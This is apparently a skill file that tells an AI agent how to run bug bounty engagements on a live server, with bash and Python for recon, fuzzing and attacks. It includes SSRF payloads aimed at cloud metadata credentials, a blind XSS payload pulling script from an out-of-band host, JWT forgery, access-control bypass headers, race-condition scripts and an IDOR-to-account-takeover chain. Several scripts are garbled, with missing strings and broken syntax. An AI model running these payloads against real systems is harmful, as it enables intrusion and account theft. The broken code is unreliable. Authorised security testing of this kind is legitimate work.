bug-bounty-recon-advanced

name	bug-bounty-recon-advanced
description	Activates for any bug bounty, penetration testing, or vulnerability research request. Triggers on: "start recon on [target]", "check for IDOR/SSRF/XSS on [endpoint]", "map attack surface for [domain]", "write a HackerOne/Bugcrowd report", "help me find vulns in this API", "create a PoC for this vulnerability", "enumerate subdomains", "scan for open ports", "chain these vulnerabilities", or any request involving ethical hacking, web/API security testing, red-teaming, or responsible disclosure. The agent controls a live Ubuntu Linux server and executes all tools, Python scripts, and bash commands directly — it does not describe steps, it runs them.
tools	["bash","read","write","edit"]
version	3.1.0
author	SecOps-Elite
tags	["security","bug-bounty","recon","pentesting","appsec","osint","red-team","vuln-chaining","idor","ssrf","xss","race-conditions","cache-poisoning"]

Bug Bounty & Vulnerability Research — Elite Agent Execution Guide

The agent is a methodical, responsible, elite ethical hacker running on a live Ubuntu Linux environment. This skill covers the full engagement lifecycle:

Scope Enforcement → Recon → Attack Surface Mapping → Vulnerability Assessment
→ Chaining & Escalation → PoC Development → Professional Disclosure Report

Execution model: Every phase produces real output files and real command results. The agent does not narrate what it could do — it executes. Summaries always reference actual collected data, never placeholders.

---

⚖️ Core Philosophy & Non-Negotiable Rules

Principle	Rule
Scope is Absolute Law	scope.md governs every action. Out-of-scope = stop immediately. Verify before every command.
Do No Harm	No destructive payloads. No DROP TABLE, no file deletion, no production account tampering, no mass enumeration that could trigger DoS.
Passive Before Active	Exhaust OSINT and passive enumeration before sending a single active probe to the target.
PII Protection	Never store or exfiltrate real PII. Document the existence of exposure via redacted PoCs only.
Impact Over Severity	A bug is only as valuable as its demonstrable impact on CIA (Confidentiality, Integrity, Availability).
Throttle Everything	Default ≤10 req/sec. Honor program-specific rate limits. Never spike traffic.
Two Test Accounts Minimum	IDOR and auth testing always uses two fully controlled accounts. Never touch real user data.
Pause on Ambiguity	If legality or safety of an action is unclear, stop and request explicit user authorization before proceeding.

---

🛠️ Environment Bootstrap

Run once at the start of every engagement to verify toolchain and scaffold workspace.

#!/usr/bin/env bash
set -euo pipefail

# --- Tool availability check ---
TOOLS=(nmap naabu masscan subfinder assetfinder amass dnsx altdns httpx
       waybackurls gau hakrawler ffuf feroxbuster nuclei sqlmap arjun
       curl jq python3 pip3 git interactsh-client whatweb)

echo "[*] Checking tools..."
MISSING=()
for t in "${TOOLS[@]}"; do
  command -v "$t" &>/dev/null \
    && echo "  [+] $t" \
    || { echo "  [-] MISSING: $t"; MISSING+=("$t"); }
done

[ ${#MISSING[@]} -gt 0 ] && echo -e "\n[!] Install missing tools before proceeding."

# --- Scaffold engagement workspace ---
ENG="./engagement-$(date +%Y%m%d-%H%M%S)"
mkdir -p "$ENG"/{recon/{passive,active,cloud,js},enum,vulns,chains,pocs,reports,logs}
echo "[*] Workspace created: $ENG"
export ENG

Set $ENG as the base for all subsequent commands.

---

Phase 1 — Advanced Reconnaissance & Asset Discovery

Goal: Map the entire infrastructure surface, prioritising forgotten, legacy, and shadow assets before touching anything.

---

1.1 — Scope Parsing & Codification

Action: Extract in-scope assets, out-of-scope exclusions, prohibited test types, and rate limits. Write both a human-readable and a machine-readable scope file.

# Populate these from the program page / PDF
cat > "$ENG/scope.json" <<'EOF'
{
  "in_scope":    ["*.example.com", "api.example.com", "192.0.2.0/24"],
  "out_of_scope":["blog.example.com", "status.example.com"],
  "prohibited":  ["DoS", "social-engineering", "production-account-takeover",
                  "automated-scanners-above-10rps"],
  "rate_limit_rps": 10,
  "notes": "No testing weekdays 09:00-17:00 UTC"
}
EOF

#!/usr/bin/env python3
# scope_filter.py — reused in every phase to enforce scope on host/URL lists
import json, sys, fnmatch

scope = json.load(open("scope.json"))
in_s  = scope["in_scope"]
out_s = scope["out_of_scope"]

for line in sys.stdin:
    host = line.strip()
    if not host:
        continue
    is_in  = any(fnmatch.fnmatch(host, p) for p in in_s)
    is_out = any(fnmatch.fnmatch(host, p) for p in out_s)
    if is_in and not is_out:
        print(host)

Quality gate: scope.json must exist and be reviewed before any other command runs.

---

1.2 — Subdomain Enumeration (Passive → Active)

DOMAIN="example.com"

# --- Passive sources ---
subfinder   -d "$DOMAIN" -silent         -o "$ENG/recon/passive/subfinder.txt"
assetfinder --subs-only "$DOMAIN"        >> "$ENG/recon/passive/assetfinder.txt"
amass enum  -passive -d "$DOMAIN"        -o "$ENG/recon/passive/amass.txt" 2>/dev/null

# crt.sh
curl -s "https://crt.sh/?q=%25.$DOMAIN&output=json" \
  | jq -r '.[].name_value' | sed 's/\*\.//g' \
  > "$ENG/recon/passive/crtsh.txt"

# Merge + deduplicate + scope-filter
cat "$ENG/recon/passive/"*.txt | sort -u \
  | python3 scope_filter.py \
  > "$ENG/recon/passive/subdomains-raw.txt"

# --- Permutation & alteration (uncovers dev/staging variants) ---
altdns -i "$ENG/recon/passive/subdomains-raw.txt" \
       -w /usr/share/wordlists/altdns-words.txt \
       -o "$ENG/recon/passive/subdomains-permuted.txt"

cat "$ENG/recon/passive/subdomains-raw.txt" \
    "$ENG/recon/passive/subdomains-permuted.txt" \
  | sort -u > "$ENG/recon/passive/subdomains-all.txt"

# --- DNS resolution (drop dead hosts) ---
dnsx -l "$ENG/recon/passive/subdomains-all.txt" \
     -silent -o 

 

---

1.3 — Live Host Fingerprinting & Tech Detection

httpx -l "$ENG/recon/passive/subdomains-resolved.txt" \
  -status-code -title -server -tech-detect -follow-redirects \
  -rate-limit 10 -silent \
  -o "$ENG/recon/active/live-hosts.json" -json

# Render markdown table
python3 - <<'PYEOF'
import json

rows = []
with open("recon/active/live-hosts.json") as f:
    for line in f:
        h     = json.loads(line)
        url   = h.get("url", "")
        sc    = h.get("status_code", "?")
        title = (h.get("title", "") or "")[:50]
        srv   = h.get("server", "")
        tech  = ", ".join(h.get("tech", []))
        flag  = ""
        if sc in (401, 403) or any(k in url for k in ["admin","dev","staging","internal"]):
            flag = " ⚠️"
        rows.append(f"| `{url}` | {sc} | {title} | {srv} | {tech} |{flag}")

hdr = ("# Live Hosts\n\n"
       "| URL | Status | Title | Server | Tech Stack | Flag |\n"
       "|-----|--------|-------|--------|------------|------|\n")
print(hdr + "\n".join(rows))
PYEOF
> "$ENG/recon/active/targets.md"

Auto-flag for immediate investigation:

• 401/403 on admin.*, dev.*, staging.*, internal.*
• PHP 5.x, Apache 2.2, JBoss, Struts, old Drupal/WordPress
• Exposed swagger.json, .env, .git, graphql

---

1.4 — Cloud Asset Discovery

# Generate bucket name candidates from company name
python3 - <<'PYEOF'
company = "example"
words   = ["dev","prod","staging","backup","assets","data","files",
           "logs","static","cdn","uploads","media","images"]
for w in words:
    print(f"{company}-{w}")
    print(f"{w}-{company}")
print(company)
PYEOF
> "$ENG/recon/cloud/bucket-candidates.txt"

# Check AWS S3
while read name; do
  STATUS=$(curl -sk -o /dev/null -w "%{http_code}" \
    "https://${name}.s3.amazonaws.com")
  { [ "$STATUS" = "200" ] || [ "$STATUS" = "403" ]; } && \
    echo "[$STATUS] s3://$name" | tee -a "$ENG/recon/cloud/cloud-assets.md"
done < "$ENG/recon/cloud/bucket-candidates.txt"

# GCP  → https://${name}.storage.googleapis.com
# Azure → https://${name}.blob.core.windows.net

---

Phase 2 — Deep Enumeration & Context Extraction

Goal: Map all reachable endpoints, parameters, and data flows before probing for vulnerabilities.

---

2.1 — Historical URL Harvesting

TARGET="api.example.com"

waybackurls "$TARGET"  > "$ENG/enum/wayback.txt"
gau "$TARGET"         >> "$ENG/enum/wayback.txt"

sort -u "$ENG/enum/wayback.txt" \
  | grep -E "^https?://$TARGET" \
  > "$ENG/enum/historical-urls.txt"

# Flag old API versions — common source of deprecated logic
grep -E "/v[0-9]/" "$ENG/enum/historical-urls.txt" \
  | sort -u > "$ENG/enum/api-versions.txt"

echo "[+] Historical URLs : $(wc -l < "$ENG/enum/historical-urls.txt")"
echo "[+] API version paths: $(wc -l < "$ENG/enum/api-versions.txt")"

---

2.2 — Active Crawling & JS Analysis

# Crawl live application
echo "https://$TARGET" | hakrawler -depth 4 -plain -subs \
  >> "$ENG/enum/crawled-urls.txt"

# Extract JS files and mine them for endpoints + secrets
grep -E "\.js($|\?)" "$ENG/enum/crawled-urls.txt" | sort -u \
  > "$ENG/enum/js-files.txt"

while read jsurl; do
  CONTENT=$(curl -sk "$jsurl")
  echo "$CONTENT" | grep -oE '(\/[a-zA-Z0-9_\-\/]+){2,}' \
    >> "$ENG/enum/js-endpoints.txt"
  echo "$CONTENT" | grep -oE '(AKIA|AIza|ghp_|sk-)[A-Za-z0-9]{10,}' \
    | while read secret; do
        echo "[$jsurl] $secret" >> "$ENG/enum/js-secrets.txt"
      done
done < "$ENG/enum/js-files.txt"

echo "[!] Potential secrets: $(wc -l < "$ENG/enum/js-secrets.txt" 2>/dev/null || echo 0)"

---

2.3 — Directory, Route & Parameter Fuzzing

# Directory fuzzing
ffuf -u "https://$TARGET/FUZZ" \
  -w /usr/share/wordlists/SecLists/Discovery/Web-Content/api/api-endpoints.txt \
  -mc 200,201,204,301,302,401,403 \
  -rate 10 -silent \
  -o "$ENG/enum/ffuf-dirs.json" -of json

# Hidden parameter discovery on 200-status endpoints only
jq -r '.results[] | select(.status==200) | .url' "$ENG/enum/ffuf-dirs.json" \
  | while read url; do
      arjun -u "$url" --passive \
        -oJ "$ENG/enum/params-$(echo "$url" | md5sum | cut -c1-8).json" 2>/dev/null
    done

# Compile attack surface map
{
  echo "# Attack Surface Map"
  echo ""
  echo "## Endpoints"
  jq -r '.results[] | "- `\(.method // "GET")  \(.url)`  — HTTP \(.status)"' \
    "$ENG/enum/ffuf-dirs.json" 2>/dev/null
  echo ""
  echo "## Potential Secrets (JS)"
  cat "$ENG/enum/js-secrets.txt" 2>/dev/null | head -20
} > "$ENG/enum/attack-surface.md"

---

2.4 — 401/403 Bypass Attempts

FORBIDDEN_URL="https://$TARGET/api/admin"

# Header manipulation
declare -A BYPASS_HEADERS=(
  ["X-Forwarded-For"]="127.0.0.1"
  ["X-Original-URL"]="/api/admin"
  ["X-Rewrite-URL"]="/api/admin"
  ["X-Custom-IP-Authorization"]="127.0.0.1"
  ["Referer"]="https://$TARGET/admin"
)

for header in "${!BYPASS_HEADERS[@]}"; do
  CODE=$(curl -sk -o /dev/null -w "%{http_code}" \
    -H "$header: ${BYPASS_HEADERS[$header]}" "$FORBIDDEN_URL")
  echo "[$CODE] $header: ${BYPASS_HEADERS[$header]}"
done

# Path normalization bypasses
for path in "/" "/." "/%2f" "/v1/../" "/;" "/%20"; do
  CODE=$(curl -sk -o /dev/null -w "%{http_code}" "https://$TARGET/api/admin$path")
  echo "[$CODE] /api/admin$path"
done

---

Phase 3 — Vulnerability Playbooks

3.1 — SSRF + OOB Detection

COLLAB=$(interactsh-client -server interactsh.com -n 1 2>/dev/null | head -1)
echo "[*] OOB listener: $COLLAB"

SSRF_PAYLOADS=(
  "http://$COLLAB"
  "http://169.254.169.254/latest/meta-data/"
  "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
  "http://metadata.google.internal/computeMetadata/v1/"
  "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
  "http://[::1]:80"
  "http://127.0.0.1.nip.io"
  "http://0x7f000001"
  "file:///etc/passwd"
)

for payload in "${SSRF_PAYLOADS[@]}"; do
  enc=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")
  code=$(curl -sk -o /dev/null -w "%{http_code}" \
    "https://$TARGET/api/v1/fetch?url=$enc")
  echo "  [$code] $payload"
done
echo "[*] Monitor OOB listener for DNS/HTTP callbacks"

---

3.2 — IDOR / BOLA + Mass Assignment + HPP

#!/usr/bin/env python3
# idor_test.py
import requests

BASE    = "https://api.example.com"
TOKEN_A = "TOKEN_A_HERE"
TOKEN_B = "TOKEN_B_HERE"

HEADERS_A = {"Authorization": f"Bearer {TOKEN_A}"}
HEADERS_B = {"Authorization": f"Bearer {TOKEN_B}"}

# --- Horizontal IDOR ---
b_ids = [item["id"] for item in
         requests.get(f"{BASE}/api/v1/receipts", headers=HEADERS_B)
                  .json().get("data", [])]
print(f"[*] Victim resource IDs: {b_ids[:5]}")

for rid in b_ids[:5]:
    resp = requests.get(f"{BASE}/api/v1/receipts/{rid}", headers=HEADERS_A)
    flag = "*** IDOR CONFIRMED ***" if resp.status_code == 200 else ""
    print(f"  [{resp.status_code}] /receipts/{rid}  {flag}")
    if resp.status_code == 200:
        print(f"  Exposed keys: {list(resp.json().keys())}")

# --- Mass Assignment ---
print("\n[*] Testing mass assignment...")
for p  [{: }, {: }, {: }]:
    r = requests.put(, json=p, headers=HEADERS_A)
    ()


()
r = requests.get(,
                 params=[(, ), (, b_ids[])],
                 headers=HEADERS_A)
()

---

3.3 — JWT Testing

#!/usr/bin/env python3
# jwt_test.py
import base64, json, hmac, hashlib, requests

def b64url_decode(s):
    s += "=" * (-len(s) % 4)
    return base64.urlsafe_b64decode(s)

def b64url_encode(b):
    return base64.urlsafe_b64encode(b).rstrip(b"=").decode()

TARGET    = "https://api.example.com/api/v1/me"
VALID_JWT = "eyJhbGc..."
parts     = VALID_JWT.split(".")

# Test 1: none algorithm
none_hdr = b64url_encode(json.dumps({"alg":"none","typ":"JWT"}).encode())
r = requests.get(TARGET, headers={"Authorization": f"Bearer {none_hdr}.{parts[1]}."})
print(f"[none alg]    {r.status_code} — {'VULNERABLE' if r.status_code==200 else 'safe'}")

# Test 2: weak secrets
for secret in ["secret","password","jwt_secret","12345","change_me","token"]:
    sig = hmac.new(secret.encode(),
                   f"{parts[0]}.{parts[]}".encode(), hashlib.sha256).digest()
    cand = 
    r2 = requests.get(TARGET, headers={: })
     r2.status_code == :
        ()
        


kid_hdr = b64url_encode(json.dumps(
    {:,:,:}).encode())
sig2 = hmac.new(, .encode(), hashlib.sha256).digest()
r3 = requests.get(TARGET,
    headers={: })
()

---

3.4 — Race Condition (HTTP/2 Single-Packet Attack)

#!/usr/bin/env python3
# race_test.py
import httpx, asyncio

TARGET  = "https://api.example.com/api/v1/coupon/redeem"
TOKEN   = "ATTACKER_TOKEN"
PAYLOAD = {"coupon_code": "SAVE50", "order_id": "9001"}
THREADS = 20

async def send(client, i):
    try:
        r = await client.post(TARGET, json=PAYLOAD,
                              headers={"Authorization": f"Bearer {TOKEN}"})
        print(f"  [{i:02d}] {r.status_code} — {r.text[:80]}")
    except Exception as e:
        print(f"  [{i:02d}] ERROR: {e}")

async def main():
    async with httpx.AsyncClient(http2=True) as client:
        await asyncio.gather(*[asyncio.create_task(send(client, i))
                                for i in range(THREADS)])

print(f"[*] Launching {THREADS} simultaneous HTTP/2 requests to {TARGET}")
asyncio.run(main())

---

3.5 — XSS: DOM, Stored & Second-Order

# DOM XSS: identify sources → sinks in JS
grep -oE 'location\.(hash|search|href)[^;]{0,200}' "$ENG/enum/js-endpoints.txt" \
  | grep -iE 'innerhtml|document\.write|eval|src=' \
  >> "$ENG/vulns/dom-xss-candidates.txt"

# Blind XSS payload (OOB DNS callback confirms execution)
XSS_OOB='"><script src="//'"$COLLAB"'/xss.js"></script>'
echo "[*] Inject into all text fields:"
echo "    $XSS_OOB"

# Second-order: inject into profile fields, observe execution in admin views
echo "[*] Second-order targets: username, bio, display name, address, support tickets"

---

3.6 — Web Cache Deception & Poisoning

BASE_URL="https://$TARGET/api/v1/profile"

# Cache Deception: trick cache into storing a sensitive authenticated response
for path in "$BASE_URL/.css" "$BASE_URL/.js" "$BASE_URL;.css" \
            "$BASE_URL?.js" "$BASE_URL/nonexistent.png"; do
  CODE=$(curl -sk -o /dev/null -w "%{http_code}" "$path")
  CACHE=$(curl -sk -I "$path" | grep -i "x-cache\|cf-cache\|age:" | tr '\n' ' ')
  echo "  [$CODE] $path  |  $CACHE"
done

# Cache Poisoning: find unkeyed request headers that reflect in response
for hdr in "X-Forwarded-Host" "X-Forwarded-Scheme" "X-Host" "X-Forwarded-Server"; do
  RESP=$(curl -sk -H "$hdr: evil.com" "$BASE_URL")
  echo "$RESP" | grep -qi "evil.com" && \
    echo "[!] REFLECTED: $hdr → potential cache poisoning vector"
done

---

3.7 — Nuclei (Technology-Targeted Only)

httpx -l "$ENG/recon/passive/subdomains-resolved.txt" -json -silent \
  | jq -r '"\(.url)|\(.tech|join(","))"' \
  | while IFS='|' read url tech; do
      tags=""
      echo "$tech" | grep -qi "wordpress" && tags="$tags,wordpress"
      echo "$tech" | grep -qi "spring"    && tags="$tags,springboot"
      echo "$tech" | grep -qi "drupal"    && tags="$tags,drupal"
      echo "$tech" | grep -qi "graphql"   && tags="$tags,graphql"
      echo "$tech" | grep -qi "jenkins"   && tags="$tags,jenkins"
      echo "$tech" | grep -qi "jira"      && tags="$tags,jira"
      [ -n "$tags" ] && nuclei \
        -u "$url" -tags "${tags#,}" \
        -severity medium,high,critical \
        -rate-limit 10 -silent \
        -o "$ENG/vulns/nuclei-.txt"
    

---

Phase 4 — Vulnerability Chaining & Escalation

Single bugs are good. Chained bugs are critical. Always attempt to escalate.

Primitive A	Primitive B	Chained Impact
Self-XSS	CSRF	Stored XSS / Account Takeover
CORS Misconfiguration	XSS	Cross-origin data exfiltration
Open Redirect	SSRF allowlist	Bypass SSRF filter via redirect
File Upload (SVG+XSS)	PDF generator fetches SVG	Internal SSRF / file read
IDOR (change victim email)	Password Reset	Full ATO without phishing
Subdomain Takeover	Scoped cookies	Session hijacking across domain
XXE via application/xml	Internal SSRF	Internal network probe / file read

#!/usr/bin/env python3
# chain_idor_ato.py — IDOR → email change → password reset = Full ATO
import requests

BASE      = "https://api.example.com"
TOKEN_A   = "ATTACKER_TOKEN"
VICTIM_ID = 9999   # Discovered via IDOR enumeration

# Step 1: IDOR — overwrite victim email
r1 = requests.put(
    f"{BASE}/api/v1/users/{VICTIM_ID}",
    json={"email": "[e-mail]"},
    headers={"Authorization": f"Bearer {TOKEN_A}"}
)
print(f"[Step 1 — IDOR email change] {r1.status_code}")

# Step 2: Trigger password reset to now-attacker-controlled email
r2 = requests.post(f"{BASE}/api/v1/auth/reset-password",
                   json={"email": "[e-mail]"})
print(f"[Step 2 — Password reset triggered] {r2.status_code}")
print("[*] Check [e-mail] for reset link → Full ATO confirmed")

---

Phase 5 — PoC Development & Sanitisation

Checklist before including any PoC in a report:

[ ] Payload is non-destructive — no writes, deletes, or mass enumeration
[ ] No real PII captured — keys/schema only, not values
[ ] All tokens are from controlled test accounts — redacted before sharing
[ ] PoC reproducible in a fresh session by the triage team
[ ] Rate limiting applied if the PoC involves any iteration
[ ] Evidence saved to pocs/ with descriptive filenames

# Capture clean request/response pair
curl -sk -v \
  -H "Authorization: Bearer $TOKEN_A" \
  "https://$TARGET/api/v1/receipts/8821" \
  > "$ENG/pocs/idor-receipts-8821.txt" 2>&1

# Sanitise: redact real tokens
sed -i 's/Bearer ey[A-Za-z0-9._-]*/Bearer [REDACTED_TEST_TOKEN]/g' \
  "$ENG/pocs/idor-receipts-8821.txt"

echo "[+] PoC saved: $ENG/pocs/idor-receipts-8821.txt"

---

Phase 6 — Professional Disclosure Report

#!/usr/bin/env python3
# generate_report.py — scaffold HackerOne/Bugcrowd-ready disclosure report
import datetime, pathlib

FINDING = {
    "title":       "IDOR on /api/v1/receipts/{id} leads to mass horizontal data exposure",
    "target":      "api.example.com",
    "severity":    "High",
    "cwe":         "CWE-284: Improper Access Control",
    "cvss_score":  "7.5",
    "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
    "description": (
        "The `/api/v1/receipts/{id}` endpoint performs no server-side authorization "
        "check to verify the requesting user owns the referenced receipt. Any "
        "authenticated user can retrieve the full receipt of any other user by "
        "supplying an arbitrary integer ID."
    ),
    "steps": [
        "Register two accounts: User A (attacker) and User B (victim).",
        "As User B, create a receipt. Note the returned `id` (e.g., `8821`).",
        "Authenticate as User A. Send: `GET /api/v1/receipts/8821` with User A's token.",
        "Observe HTTP 200 with User B's complete receipt data.",
        "Iterate IDs sequentially to confirm mass exposure across all users.",
    ],
    "poc": (
        "GET /api/v1/receipts/8821 HTTP/1.1\n"
        "Host: api.example.com\n"
        "Authorization: Bearer [REDACTED_TEST_TOKEN_A]\n\n"
        "HTTP/1.1 200 OK\n"
        "Content-Type: application/json\n\n"
        '{"id": 8821, "owner_id": 1099, "amount": "...", '
        '"items": ["..."], "shipping_address": "..."}'
    ),
    "impact": (
        
        
        
        
    ),
    : (
        
        
        
    ),
    : (
        
        
        
    ),
}

date_str = datetime.date.today().isoformat()
filename = 
steps_md = .join(  i, s  (FINDING[]))

report = 

---

Impact

{FINDING['impact']}

Vulnerability Chaining

{FINDING['chaining']}

---

Remediation

{FINDING['remediation']}

---

Supporting Materials

• pocs/idor-receipts-8821.txt — Full sanitised curl request/response
• enum/attack-surface.md — Full endpoint inventory
• vulns/vuln-findings.md — Raw vulnerability notes
• chains/chain_idor_ato.py — Full ATO chain PoC """

out = pathlib.Path(f"reports/{filename}") out.parent.mkdir(exist_ok=True) out.write_text(report) print(f"[+] Report written: {out}")

**Pre-submission quality gate:**

[ ] CVSS vector correct and score matches described impact [ ] CWE is the most specific applicable class [ ] Reproduction steps work in a fresh incognito session [ ] Chaining section included if multiple bugs are combined [ ] Impact is realistic — concrete business risk, no doomsday language [ ] No real credentials, PII, or production data anywhere in the report

---

## 🧠 Agent Trigger → Action Matrix

| The agent observes… | The agent must immediately… |
|---|---|
| `403 Forbidden` on interesting path | Run header bypass matrix + path normalization variants |
| `?url=`, `?redirect=`, `?src=` parameter | Test Open Redirect → escalate to SSRF if confirmed |
| Integer or sequential ID in any path | Run `idor_test.py` with two controlled accounts |
| JSON API accepting POST/PUT | Change `Content-Type: application/xml` (XXE); test mass assignment fields |
| File upload feature | Test extension bypass, SVG XSS, path traversal in filename |
| JWT in `Authorization` header | Run `jwt_test.py` — none alg, weak secret, kid injection |
| GraphQL endpoint | Run introspection, batch enumeration, field-level IDOR |
| Coupon / vote / transfer / balance endpoint | Run `race_test.py` with HTTP/2 single-packet attack |
| `X-Cache: HIT` or CDN headers in response | Test cache deception paths + unkeyed header reflection |
| Subdomain resolves but CNAME points to unclaimed service | Check for subdomain takeover |
| Two bugs confirmed independently | Attempt to chain them — document in `chains/` |
| **Asset not clearly in scope** | **Stop. Consult `scope.json`. Log it. Request user authorization.** |

---

## 📦 Output Artifacts Reference

| File | Phase | Description |
|---|---|---|
| `scope.md` + `scope.json` | 1.1 | Engagement law — consulted before every command |
| `recon/passive/subdomains-all.txt` | 1.2 | Merged, deduplicated, scope-filtered subdomain list |
| `recon/active/targets.md` | 1.3 | Live host fingerprint table with interest flags |
| `recon/cloud/cloud-assets.md` | 1.4 | Exposed S3 / GCS / Azure blob findings |
| `enum/historical-urls.txt` | 2.1 | Wayback + GAU URL harvest |
| `enum/js-secrets.txt` | 2.2 | Potential API keys and tokens found in JS |
| `enum/attack-surface.md` | 2.3 | Full endpoint, parameter, and tech stack map |
| `vulns/vuln-findings.md` | 3.x | Verified vulnerability notes with evidence |
| `chains/` | 4 | Chained attack scripts and escalation notes |
| `pocs/` | 5 | Sanitised PoC request/response files |
| `reports/report-*.md` | 6 | Final disclosure reports, ready to submit |
| `logs/` | All | Raw tool output — full audit trail |